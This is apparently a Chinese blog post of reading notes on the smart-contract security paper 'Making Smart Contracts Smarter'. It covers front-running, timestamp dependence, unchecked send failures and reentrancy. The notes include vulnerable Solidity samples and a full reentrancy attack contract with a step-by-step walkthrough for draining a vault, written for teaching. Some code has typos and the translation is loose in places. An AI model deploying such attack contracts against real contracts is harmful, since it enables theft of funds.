论文阅读:Making Smart Contracts Smarter

阅读目标

  • 对目前智能合约的安全问题有全面的认识。
  • 回顾区块链和智能合约相关的基础概念。
  • 思考智能合约安全问题以及未来的展望。

文章结构总览

概要

  • 介绍了加密货币以及智能合约的基本概念。
  • 陈述了本文的目标是探索以太坊上智能合约运行的安全性,并推广到其他的加密货币。
  • 简要介绍了他们的工作,包括:
    • 提出了方法提升目前以太坊的安全性,使得智能合约不容易被攻击。
    • 制作了一个工具OYENTE可以找到潜在的安全问题。
    • 介绍了TheDAO漏洞

1. 介绍

  • 简要介绍了分布式加密货币和智能合约的概念。
  • 介绍了智能合约的安全问题的背景,发展和他们的工作。
  • 列举了他们的贡献,包括:
    • 记录了集中以太坊智能合约的安全问题。
    • 对智能合约的语义进行了形式化的操作,并提出一些漏洞的解决方案。
    • 提出了OYENTE,一个象征性执行工具,可以帮助分析以太坊的智能合约和寻找bug。
    • 在实际的以太坊上运行了OYENTE并确认了在它能够在以太坊上被攻击。

2. 背景

  • 介绍了共识协议的概念。
  • 介绍了以太坊上智能合约的构成,运行方式以及一些约束的系统。

3. 智能合约的安全漏洞

3.1. 交易顺序依赖漏洞

  • 介绍了矿工在对项目进行打包的时候,对于交易先后的顺序无法判断的漏洞。
  • 这种交易漏洞会导致合约容易受到交易依赖的攻击。
  • 根据交易订单的不同,用户的购买请求可能会也可能不会通过。更糟糕的是,购买者发出购买请求时,可能不得不支付高于观察价格的价格。
3.1.2. 攻击模型
Contract Market{
     
	uint public price;
	uint public stock;
	/**/
	function updatePrice(uint _price){
     
		price = _price;
	}
	function buy(uint quant) return (uint){
     
		stock -= quant;
	}
}
  • 攻击者提交一个有奖竞猜合约,用户找出这个问题的解就有丰厚的奖励。

  • 然后攻击者持续监听网络,观察是否有人提交了解。

  • 有人提交答案,此时提交答案的交易还未确认,攻击者马上发起一个交易降低奖金的数额使其无限接近0,并提供更高的Gas,使得自己的交易先被旷工处理。

  • 矿工先处理提交答案的交易时,答案提交者所获得的的奖励将变得极低,攻击者就能几乎免费的获得正确答案。

  • 实际案例:

function approve(address _spender,uint256 _value){
	return (bool success)
}
  • Alice允许Bob调用approve方法传输N个Alice的令牌(N>0),在Token智能合约上传递Bob的地址和N作为方法参数;
  • 过了一段时间,Alice决定从N改为M(M>0)的数量Alice的代币Bob被允许转移,所以她再次呼叫了批准方法,这个时间传递Bob的地址和M作为方法参数。
  • Bob在开采并快速发送之前注意到Alice的第二笔交易调用transferFrom方法转移N个Alice的代币的事件。
  • 如果Bob的交易将在Alice交易之前执行,那么Bob将会执行成功转移N个Alice的代币并获得另一次转移M个代币的能力。
  • 在Alice注意到出现问题之前,Bob调用了transferFrom方法,转移了M个爱丽丝的代币。

3.2. 时间戳依赖

  • 合同可能遇到的下一个安全问题是使用块时间戳作为触发条件作为触发条件来执行一些关键操作,例如汇款,利用时间戳作为随机种子进行的竞猜。这类合同我们称为时间戳相关合约。
  • 时间戳合同有一个很好的例子是下面的theRun合约,该合约使用本地随机数生成器来确定谁赢得比赛。theRun使用某个先前区块的哈希作为随机种子来选择获胜者。根据当前块时间戳(第5-7行)确定块的选择。
contract theRun{
     
	uint private Last_payout = 0;
	uint256 salt = block.timestamp;
	function random returns (uint256 result){
     
		uint256 y = salt * block.number/(salt%5);
		uint256 seed = block.number/3+(salt%300)+Last_Payout+y;

		uint256 h = uint256(block.blockhash(seed));
		return uint256(h%100)+1;
	}
}
  • 我们挖掘一个区块的时候,矿工必须设置该区块的时间戳。
  • 通常,时间戳设置为矿工本地系统的当前时间。但是,矿工可以将此值变大约900秒,同时仍让其他矿工接收该块。
  • 具体来说,在接收到一个新区块的时候并检查其有效性之后,矿工将检查块时间戳是否大于时间戳。
  • 上一个区块的时间距离本地系统上的时间戳不超过900秒。因此,矿工可以选择不同的组时间戳来操纵和时间戳相关合同的结果。

3.3. 异常误处理

  • 以太坊中,合约有多种方法可以调用另一个合约。例如,通过send指令或直接调用合约的函数。
  • 如果以太坊中的被呼叫方合约中有异常,被呼叫方返回它的状态并返回一个false。但是异常信息不会回传给发起者。
  • 这种处理方式会导致很多异常并没有被适当地处理。
  • 27.9%的合约在发起后并没有检查返回值。
contract Game{
     
	bool public SendOut = false;
	address public winner;
	uint public reward;
	function Send_Reward() public {
     
		require(!SendOut);
		winner.send(reward);
		SendOut = true;
}
  • 案例:在智能合约中一般通过transfer(), send(), call()等函数进行对其他账户的转账,transfer()函数会自动检查转账结果,当转账失败时会自动抛出异常,但是send()call()函数失败时不会自行抛出异常,而是继续往下执行剩余代码,进而攻击者可以利用此特性,故意转账失败来达到攻击目的。
3.3.1. 攻击方式
KoET攻击
contract KingOfTheEtherThrone{
     
	struct Monarch {
     
	address ethAddr;
	string name;

	uint claimPrice;
	uint coronationTimestamp;
	}
Monarch public currentMonarch;
function claimThrone(string name){
     
	/**/
	if(currentMonarch.ethAddr!=wizardAddress)
		currentMonarch.ethAddr.send(compensation);
	currentMonarch = Monarch(
		msg.sender, name,
		valuePaid,block.timestamp);
}	
}
  • 上面的合约是一个游戏,合约允许用户支付当前过往所需的以太币来宣称自己是“以太王”。
  • 在不断宣布自己是以太王的过程中,出价会越来越高,旧国王从中赚取差价。
  • 但实际上,在分配新国王前,KoET合同不会检查补偿交易的结果。因此,如果由于某种原因补偿交易未能正确完成,则现任国王将失去王伟没有任何补偿。
  • 实际上,真的发生了此类问题导致KoET终止。报告的原因是,当前的国王地址是合约地址。
  • 将交易发送到Ak时,将执行一些代码,而这些代码比起正常的交易需要更多的gas。
  • 因此在交易中用尽了gas,引发了一场,但是Ak的状态和余额保持不变,补偿金返还给KoET,现任国王失去了王位却没有任何补偿。
  • 这种攻击也可以通过故意超出EVM的堆栈限制(Deliberately Exceeding the call-stack’s depth limit)来实现。

3.4. Reentrancy Vulnerability(重入漏洞)

  • 重入漏洞是以太坊最著名的漏洞,TheDao黑客攻击者利用该重入漏洞,在攻击发生时窃取了360万以太币,金额达到6000万美元。这个事件直接导致了以太坊的硬分叉。
  • 在以太坊中,当一个合约调用另一个合约时,当前执行将等待调用结束。当调用的接受者利用调用者所处的中间状态的时候,就会产生问题。
  • 我们通过举例来描述这一个漏洞,考虑以下简单易受攻击的合约,该合约充当以太坊金库,允许存款人每周仅提取最多1个以太币。
contract EtherStore{
     
	uint256 public withdrawalLimit = 1 ether;
	mapping(address=>uint256) public lastWithdrawTime;
	mapping(address=>uint256) public balances;

	function depositFunds() public payable {
     
		balances[msg.sender] += msg.value;
	}

	function withdrawFunds(uint256 _weiToWithdraw) public {
     
		require(balances[msg.sender] >= _weiToWithdraw);

		require(_weiToWithdraw <= withdrawalLimit);

		require(now>=lastWithdrawTime[msg.sender]+1 weeks);
		require(msg.sender.call.value(_weiToWithdraw)());
		balances[msg.sender]-=_weiToWithdraw;
		lastWithdrawTime[msg.sender] = now;
	}
}
  • 该合约有两个公共函数:depositFunds()withdrawFunds()depositFunds()函数只是累计发送者的余额。withdrawFund()函数允许发送者指定要提取的以太币数量(wei为单位)。只有当要求提取的金额小于或等于1个以太币,并且在一周内没有发声提取时,它才会成功。
  • 这个代码的漏洞发生在第17行:require(msg.sender.call.value(_weiToWithdraw)());
  • 考虑一个恶意攻击者创建以下合约:
import "EtherStore.sol"
contract Attack{
     
	EtherStore public etherStore;

	constrcutor(address _etherStoreAddress){
     
		etherStore = EtherStore(_etherStoreAddress);
	}

	function pwnEtherStore() public payable {
     
		//attack to the nearest ether
		require(msg.value>=1 ether);
		//send eth to the depositFunds() function
		etherStore.depositFunds.value(1 ether)();
		//start the magic
		etherStore.withdrawFunds(1 ether);
	}
	function collectEther() public{
     
		msg.sender.transfer(this.balance);
	}

	function() payable{
     
		if(etherStore.balance > 1 ether) {
     
			etherStore.withdrawFunds(1 ether);
		}
	}
}
  • 我们假设攻击者将使用EtherStore的合约地址作为构造参数创建上述合约,这将初始化并将公共变量etherStore指向希望攻击的合约地址。
  • 然后攻击者将调用pwnEtherStore()函数,并使用一些以太币(大于或等于1),例如1个以太币。在这个例子中,我们假设许多其他的用户已经将以太币存入此合约,这样它的余额为10个以太币。
  1. Attack.sol - 第15行- EtherStore 合约的 depositFunds() 函数将被调用,其中msg.value 为1 Ether(以及大量的Gas)。发件人(msg.sender)将是我们的恶意合约(0x0 … 123)。因此,balances[0x0…123] = 1Ether。
  2. Attack.sol - 第17行- 然后恶意合约将使用1 ether的参数调用EtherStore合约的withdrawFunds()函数。这将通过所有require语句(EtherStore合约的第[12] - [16]行),因为我们之前没有提取过。
  3. EtherStore.sol - 第17行- 然后合约将1以太币发回恶意合约。
  4. Attack.sol - 第25行- 发送给恶意合约的以太币将执行回退函数。
  5. Attack.sol - 第26行- EtherStore 合约的总余额为10个以太币,现在为9个以太币,因此if语句通过。
  6. Attack.sol - 第27行– 回退函数再次调用 EtherStore 的 withdrawFunds() 函数并“重新进入” EtherStore 合约。
  7. EtherStore.sol - 第11行- 在第二次调用 withdrawFunds() 时,我们的余额仍为1以太,因为第18行尚未执行。因此,我们仍然有 balances[0x0…123] = 1 Ether。lastWithdrawTime 变量也是如此。我们再次通过了所有要求。
  8. EtherStore.sol - 第17行- 我们提取另外1个以太币。
  9. 步骤4-8将重复- 直到 EtherStore.balance<= 1,如 Attack.sol 中的第26行所示。
  10. Attack.sol - 第26行 - 一旦 EtherStore 合约中剩下不多于1(或更少)的ether,则此if语句将失败。然后,这将允许执行 EtherStore 合约的第18和19行(对于withdrawFunds()函数的每次调用)。
  11. EtherStore.sol – 第18和19行- 将设置 balances 和 lastWithdrawTime 映射,执行将结束。

4. 更好的设计

  • 在4.1节中,论文Ethereum形式化了一个“轻量级”语义,然后在第4.2节中以这种形式为基础,为第3节中确定的安全问题提供解决方案。
  • 论文形式化的捕捉了以太坊的特性,使得我们更精确地陈述解决方案。

4.1. 以太坊的可操作性语义

  • 一个交易可以激活一份合约代码的执行,执行中可以用三类空间存储数据,分别是:
    • 先出后进堆栈s
    • 辅助存储器I,无限拓展的叔祖;
    • 合同的长期存储地址str,它是给定合同地址id的σ[id]的一部分。与堆栈和辅助存储器不同,它作为σ的一部分长期存储。
  • 这些内容可以抽象成一个三元组(id,v,l),id是调用合约的标识符,v是存入合同的值,I是捕获输入参数值的数据数组。因此,可以使用下面的规则对事物执行进行建模:第一个规则描述了成功终止(或“正常停止”)的执行,而第二个规则描述了异常终止的执行。
    论文阅读:Making Smart Contracts Smarter_第1张图片
  • 注意,事务的执行旨在遵循“交易语义”,其两个重要属性是:
    • (1)原子性,要求每个交易“all or nothing”。如果事物的一部分失败,那么整个事物都会失败,并且状态保持不变;
    • (2) 一致性,确保任何交易都会使系统从一种有效状态进入另一种有效状态。当我们讨论EVM指令的操作语义时,我们将在本节后面展示如何违反这些属性。
  • EVM执行指令
    论文阅读:Making Smart Contracts Smarter_第2张图片
  • push指令接收一个参数 v ∈ v a l u e v\in value vvalue,它可以是数字常量z,代码标签 λ \lambda λ,内存地址 α \alpha α或压缩/接收地址 γ \gamma γ,并把其添加到“操作数堆栈”的顶部。
  • pop指令删除(忘记)操作数堆栈的顶部元素。
  • op指令表示所有算数和逻辑等操作,弹出其参数,执行操作,并推送结果。
  • 条件分支bne是标准的“不等于零的分值”。它从操作数堆栈的顶部弹出两个元素z λ \lambda λ;如果 z z z为非零,则程序计数器设置为 λ \lambda λ,否则计数器递增。加载和存储指令分别以原始方式读取和写入内存。
  • mloadmstore分别处理辅助存储器I,sloadsstore分别评估和更新合约存储str,及契约的状态。

你可能感兴趣的:(以太坊,区块链,信息安全,区块链,以太坊)